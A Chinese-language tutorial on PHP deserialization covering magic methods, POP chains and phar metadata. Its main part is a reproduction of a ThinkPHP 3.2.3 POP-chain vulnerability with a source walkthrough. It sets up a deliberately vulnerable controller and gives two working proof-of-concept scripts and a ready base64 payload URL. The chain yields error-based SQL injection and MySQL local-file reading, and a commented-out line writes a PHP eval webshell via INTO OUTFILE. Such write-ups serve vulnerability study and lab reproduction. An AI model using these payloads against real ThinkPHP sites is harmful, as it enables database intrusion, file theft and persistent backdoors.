基本概念

序列化

所有 PHP 里面的值都可以使用 serialize() 函数将其转换为一个可以存储的字符串,也就是序列化。

所谓序列化,就是将一个在内存中的变量转换为可保存或传输的字符串的过程。

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

另外,为了能够反序列化一个对象,这个对象的类必须已经定义过。

如果序列化类 A 的一个对象,将会返回一个跟类 A 相关,而且包含了对象所有变量值的字符串。

反序列化

反序列化就是在适当的时候使用unserialize()函数把序列化字符串再转化成原来的变量使用。

这两个过程结合起来可以轻松的完成数据的存储和传输操作,使得程序更具维护性。

魔术方法

我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法

常用的一些魔术方法:

__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

POP 链的构造是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据需要能够被用户输入所控制。

常见漏洞点

反序列化的常见起点

  • __wakeup 一定会调用
  • __destruct 一定会调用
  • __toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见终点

  • __call 调用不可访问或不存在的方法时被调用
  • call_user_func 一般php代码执行都会选择这里
  • call_user_func_array 一般php代码执行都会选择这里

反序列化的常见中间跳板

  • __toString 当一个对象被当做字符串使用
  • __get 读取不可访问或不存在属性时被调用
  • __set 当给不可访问或不存在属性赋值时被调用
  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用

反序列化的常见终点:

  • __call 调用不可访问或不存在的方法时被调用
  • call_user_func 一般php代码执行都会选择这里
  • call_user_func_array 一般php代码执行都会选择这里

Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其metadata部分
受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

环境搭建

  • PHPstudy
  • PHP: 5.6.9nts
  • ThinkPHP: 3.2.3

Index控制器添加test方法,实现一个可控的反序列化的点

路径: /Application/Home/Controller/IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function test(){
        unserialize(base64_decode($_GET[x]));
    }
}

漏洞复现

通过pop 链构造,可实现报错注入MySQL恶意服务端读取客户端文件

因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的,可以尝试写shell

pop 链构造

最终利用链

__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->

poc1

<?php
//初始化数据库连接
namespace Think\Db\Driver {
    use PDO;
    class Mysql
    {
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug" => 1,
            "database" => "thinkphp",    //数据库名
            "hostname" => "127.0.0.1",    //地址
            "hostport" => "3306",    //端口
            "charset" => "utf8",
            "username" => "root",    //用户名
            "password" => "root"    //密码
        );
    }
}

namespace Think\Image\Driver {
    use Think\Session\Driver\Memcache;
    class Imagick
    {
        private $img;
        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver {
    use Think\Model;
    class Memcache
    {
        protected $handle;
        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}

namespace Think {
    use Think\Db\Driver\Mysql;
    class Model
    {
        protected $options = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        public function __construct()
        {

            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "where" => " " // where不能为空
                "table" => "mysql.users where 1=updatexml(1,user(),1)#",
                // 写shell
				// "table"=>"mysql.user where 1=2;select \"<?php eval(\$_POST[0]);?>\" into outfile \"D:\\\\phpstudy_pro\\\\WWW\\\\1.php\"#",
            );
        }
    }
}

namespace {

    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

http://192.168.1.8/index.php?m=Home&c=Index&a=test&x=TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjk5OiJteXNxbC51c2VyIHdoZXJlIDE9MjtzZWxlY3QgIjw/cGhwIGV2YWwoJF9QT1NUWzBdKTs/PiIgaW50byBvdXRmaWxlICJEOlxccGhwc3R1ZHlfcHJvXFxXV1dcXDEucGhwIiMiO3M6NToid2hlcmUiO3M6MToiICI7fX1zOjU6IgAqAGRiIjtPOjIxOiJUaGlua1xEYlxEcml2ZXJcTXlzcWwiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7aToxMDAxO2I6MTt9czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6ODoidGhpbmtwaHAiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjMzMDYiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX19fX0=

poc2

<?php
namespace Think\Image\Driver{

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{

    use Think\Model;

    class Memcache
    {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think {

    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $pk;
        protected $db;
        protected $data;
        public function __construct(){
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.users where 1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
            );
            $this->db = new Mysql();
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql
    {
        protected $config     = array(
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  '127.0.0.1', // 服务器地址
            'database'          =>  'thinkphp',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
            'dsn'               =>  '', //
            'params'            =>  array(), // 数据库连接参数
            'charset'           =>  'utf8',      // 数据库编码默认采用utf8
            'prefix'            =>  '',    // 数据库表前缀
            'debug'             =>  true, // 数据库调试模式
            'deploy'            =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
            'rw_separate'       =>  false,       // 数据库读写是否分离 主从式有效
            'master_num'        =>  1, // 读写分离后 主服务器数量
            'slave_no'          =>  '', // 指定从服务器序号
            'db_like_fields'    =>  '',
        );
        protected $options = array(
            PDO::ATTR_CASE              =>  PDO::CASE_LOWER,
            PDO::ATTR_ERRMODE           =>  PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_ORACLE_NULLS      =>  PDO::NULL_NATURAL,
            PDO::ATTR_STRINGIFY_FETCHES =>  false,
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    //读取本地文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了
        );
    }
}

namespace {
    echo base64_encode(serialize(new \Think\Image\Driver\Imagick()));
}

漏洞分析

先从__destruct方法入手,全局搜索

路径:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

    /**
     * 析构方法,用于销毁图像资源
     */
    public function __destruct() {
        empty($this->img) || $this->img->destroy();
    }

参数$this->img 是本类中$img这个成员变量,是完全可控的,并且调用了$this->img的destroy(),

全局搜索destroy方法, 来寻找一个含有destroy()成员方法的跳板类,跟进

路径:ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

    /**
     * 删除Session 
     * @access public 
     * @param string $sessID 
     */
	public function destroy($sessID) {
		return $this->handle->delete($this->sessionName.$sessID);
	}

$this->handle$this->sessionName参数可控

无参数调用函数在 php7 中会判错,但是 php5 不会,所以版本利用有限

跟进delete方法

路径:ThinkPHP/Mode/Lite/Model.class.php

   public function delete($options = array())
    {
    
        $pk = $this->getPk();
        if (empty($options) && empty($this->options['where'])) {
    
            
            if (!empty($this->data) && isset($this->data[$pk])) {
    
                return $this->delete($this->data[$pk]);
            } else {
    
                return false;
            }

        }
        if (is_numeric($options) || is_string($options)) {
    
            
            if (strpos($options, ',')) {
    
                $where[$pk] = array('IN', $options);
            } else {
    
                $where[$pk] = $options;
            }
            $options          = array();
            $options['where'] = $where;
        }
        
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
    
            $count = 0;
            foreach (array_keys($options) as $key) {
    
                if (is_int($key)) {
    
                    $count++;
                }

            }
            if (count($pk) == $count) {
    
                $i = 0;
                foreach ($pk as $field) {
    
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where'] = $where;
            } else {
    
                return false;
            }
        }
        
        $options = $this->_parseOptions($options);
        if (empty($options['where'])) {
    
            
            return false;
        }
        if (is_array($options['where']) && isset($options['where'][$pk])) {
    
            $pkValue = $options['where'][$pk];
        }

        if (false === $this->_before_delete($options)) {
    
            return false;
        }
        $result = $this->db->delete($options);		
        if (false !== $result && is_numeric($result)) {
    
            $data = array();
            if (isset($pkValue)) {
    
                $data[$pk] = $pkValue;
            }

            $this->_after_delete($data, $options);
        }
        
        return $result;
    }


在第二次调用delete方法时,调用了数据库驱动类中的delete

路径:ThinkPHP/Library/Think/Db/Driver.class.php

 public function delete($options = array())
    {
    
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $table = $this->parseTable($options['table']);
        $sql   = 'DELETE FROM ' . $table;
        if (strpos($table, ',')) {
    

            if (!empty($options['using'])) {
    
                $sql .= ' USING ' . $this->parseTable($options['using']) . ' ';
            }
            $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
        }
        $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
        if (!strpos($table, ',')) {
    
            
            $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
            . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
        }
        $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
        return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
    }



关键代码:

$table = $this->parseTable($options['table']);
$sql   = 'DELETE FROM ' . $table;
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);

这里$table经过parseTable函数后拼接到 sql 语句中,最后执行 sql 语句

跟进parseTable

 protected function parseTable($tables)
    {
    
        if (is_array($tables)) {
    

            $array = array();
            foreach ($tables as $table => $alias) {
    
                if (!is_numeric($table)) {
    
                    $array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
                } else {
    
                    $array[] = $this->parseKey($alias);
                }

            }
            $tables = $array;
        } elseif (is_string($tables)) {
    
            $tables = explode(',', $tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',', $tables);
    }


其中的数据经过parseKey处理,跟进

 protected function parseKey(&$key)
    {
        return $key;
    }

直接返回,无任何过滤, 那么最后返回结果执行execute方法

跟进,该函数开头有初始化连接操作

$this->initConnect(true);

跟进

 protected function initConnect($master = true)
    {
    
        if (!empty($this->config['deploy']))
        
        {
    
            $this->_linkID = $this->multiConnect($master);
        } else
        
        if (!$this->_linkID) {
    
            $this->_linkID = $this->connect();
        }

    }


再跟进connect

 public function connect($config = '', $linkNum = 0, $autoConnection = false)
    {
        if (!isset($this->linkID[$linkNum])) {
            if (empty($config)) {
                $config = $this->config;
            }
            try {
                if (empty($config['dsn'])) {
                    $config['dsn'] = $this->parseDsn($config);
                }
                if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
                  
                    $this->options[PDO::ATTR_EMULATE_PREPARES] = false;
                }
                $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
            } catch (\PDOException $e) {
    
                if ($autoConnection) {
    
                    trace($e->getMessage(), '', 'ERR');
                    return $this->connect($autoConnection, $linkNum);
                } elseif ($config['debug']) {
    
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }


这里控制 $this->config 来连接数据库,用 mysql 类来实例化,接着去执行前面拼接的DELETESQL语句

因此我们只需要在 Mysql 下配置好数据库配置即可

参考文章

PHP serialize()与unserialize():序列化与反序列化

ThinkPHP 3.2.3 反序列化&sql注入漏洞分析 | Y0ng的博客

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

ThinkPHP3.2.x (SQL注入&文件读取)反序列化POP链_H3rmesk1t的博客-CSDN博客

挖掘暗藏ThinkPHP中的反序列利用链 - 斗象能力中心